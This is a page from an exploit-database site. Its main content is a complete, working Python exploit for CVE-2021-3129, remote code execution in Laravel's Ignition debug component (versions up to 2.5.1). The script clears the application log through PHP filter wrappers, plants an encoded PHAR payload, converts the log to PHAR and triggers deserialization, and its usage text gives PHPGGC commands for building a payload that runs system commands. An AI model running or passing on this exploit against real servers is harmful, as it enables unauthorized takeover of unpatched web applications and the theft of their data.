0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Ignition 2.5.1 Remote Code Execution Exploit
Author
Risk
[
Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
# Exploit Title: Laravel debug mode Remote Code Execution (Ignition <= 2.5.1) # Exploit Author: Tobias Marcotto # Tested on: Kali Linux x64 # Version: < 2.5.1 # Description: Ignition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2. # CVE : CVE-2021-3129 ********************************************************************************************************* #!/usr/bin/env python3.7 import base64 import re import sys from dataclasses import dataclass import requests @dataclass class Exploit: session: requests.Session url: str payload: bytes log_path: str def main(self): if not self.log_path: self.log_path = self.get_log_path() try: self.clear_logs() self.put_payload() self.convert_to_phar() self.run_phar() finally: self.clear_logs() def success(self, message, *args): print('+ ' + message.format(*args)) def failure(self, message, *args): print('- ' + message.format(*args)) exit() def get_log_path(self): r = self.run_wrapper('DOESNOTEXIST') match = re.search(r'"file":"(\\/[^"]+?)\\/vendor\\/[^"]+?"', r.text) if not match: self.failure('Unable to find full path') path = match.group(1).replace('\\/', '/') path = f'{path}/storage/logs/laravel.log' r = self.run_wrapper(path) if r.status_code != 200: self.failure('Log file does not exist: {}', path) self.success('Log file: {}', path) return path def clear_logs(self): wrapper = f'php://filter/read=consumed/resource={self.log_path}' self.run_wrapper(wrapper) self.success('Logs cleared') return True def get_write_filter(self): filters = '|'.join(( 'convert.quoted-printable-decode', 'convert.iconv.utf-16le.utf-8', 'convert.base64-decode' )) return f'php://filter/write={filters}/resource={self.log_path}' def run_wrapper(self, wrapper): solution = "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution" return self.session.post( self.url + '/_ignition/execute-solution/', json={ "solution": solution, "parameters": { "viewFile": wrapper, "variableName": "doesnotexist" } } ) def put_payload(self): payload = self.generate_payload() # This garanties the total log size is even self.run_wrapper(payload) self.run_wrapper('AA') def generate_payload(self): payload = self.payload payload = base64.b64encode(payload).decode().rstrip('=') payload = ''.join(c + '=00' for c in payload) # The payload gets displayed twice: use an additional '=00' so that # the second one does not have the same word alignment return 'A' * 100 + payload + '=00' def convert_to_phar(self): wrapper = self.get_write_filter() r = self.run_wrapper(wrapper) if r.status_code == 200: self.success('Successfully converted to PHAR !') else: self.failure('Convertion to PHAR failed (try again ?)') def run_phar(self): wrapper = f'phar://{self.log_path}/test.txt' r = self.run_wrapper(wrapper) if r.status_code != 500: self.failure('Deserialisation failed ?!!') self.success('Phar deserialized') # We might be able to read the output of system, but if we can't, it's ok match = re.search('^(.*?)\n<!doctype html>\n<html class="', r.text, flags=re.S) if match: print('--------------------------') print(match.group(1)) print('--------------------------') elif 'phar error: write operations' in r.text: print('Exploit succeeded') else: print('Done') def main(url, payload, log_path=None): payload = open(payload, 'rb').read() session = requests.Session() #session.proxies = {'http': 'localhost:8080'} exploit = Exploit(session, url.rstrip('/'), payload, log_path) exploit.main() if len(sys.argv) <= 1: print( f'Usage: {sys.argv[0]} <url> </path/to/exploit.phar> [log_file_path]\n' '\n' 'Generate your PHAR using PHPGGC, and add the --fast-destruct flag if ' 'you want to see your command\'s result. The Monolog/RCE1 GC works fine.\n\n' 'Example:\n' ' $ php -d\'phar.readonly=0\' ./phpggc --phar phar -f -o /tmp/exploit.phar monolog/rce1 system id\n' ' $ ./laravel-ignition-rce.py http://127.0.0.1:8000/ /tmp/exploit.phar\n' ) exit() main(sys.argv[1], sys.argv[2], (len(sys.argv) > 3 and sys.argv[3] or None)) # 0day.today [2024-09-28] #